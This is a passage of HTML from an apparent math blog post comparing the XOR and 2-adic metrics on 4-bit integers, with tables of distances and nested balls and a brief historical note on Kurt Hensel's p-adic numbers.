      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>0.25</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1100</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 0.25) = \{0000, \ldots, 1100\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.25</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1100</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>0.5</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1110</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 0.5) = \{0000, \ldots, 1110\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.5</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1110</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{0} = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1111</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 1) = \{0000, \ldots, 1111\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1111</span><span class="mclose">}</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>The cluster column closes at the last member of each ball — same nested-containment structure as XOR, balls doubling in size at each step (2, 4, 8, 16 members).
But notice: <code class="language-plaintext highlighter-rouge">1000</code> is the <em>closest</em> to <code class="language-plaintext highlighter-rouge">0000</code> because they share three trailing zeros, yet they differ in their <em>leading</em> bit and are maximally far under the XOR metric.</p>

<p>The 2-adic metric also satisfies the ultrametric inequality, with the same alien geometry — disjoint-or-nested balls, every interior point is a center, etc.
Verify that this is true.</p>

<p>Before we move on, a brief historical note.
The p-adic numbers were invented by <a href="https://en.wikipedia.org/wiki/Kurt_Hensel">Kurt Hensel</a> in 1897.
He introduced them in a paper that year and expanded the theory in his 1908 book <em>Theorie der algebraischen Zahlen</em>.
The motivation was analogy with power series in complex analysis: just as you can expand a function as <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∑</mo><msub><mi>a</mi><mi>n</mi></msub><msup><mi>x</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">\sum a_n x^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>, Hensel wanted to expand integers as <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∑</mo><msub><mi>a</mi><mi>n</mi></msub><msup><mi>p</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">\sum a_n p^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>.</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Here are both metrics side by side for all 4-bit integers 0–15.
Let’s put them in order and watch the two clusterings diverge:</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub></mrow><annotation encoding="application/x-tex">d_\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">d_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^0 = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
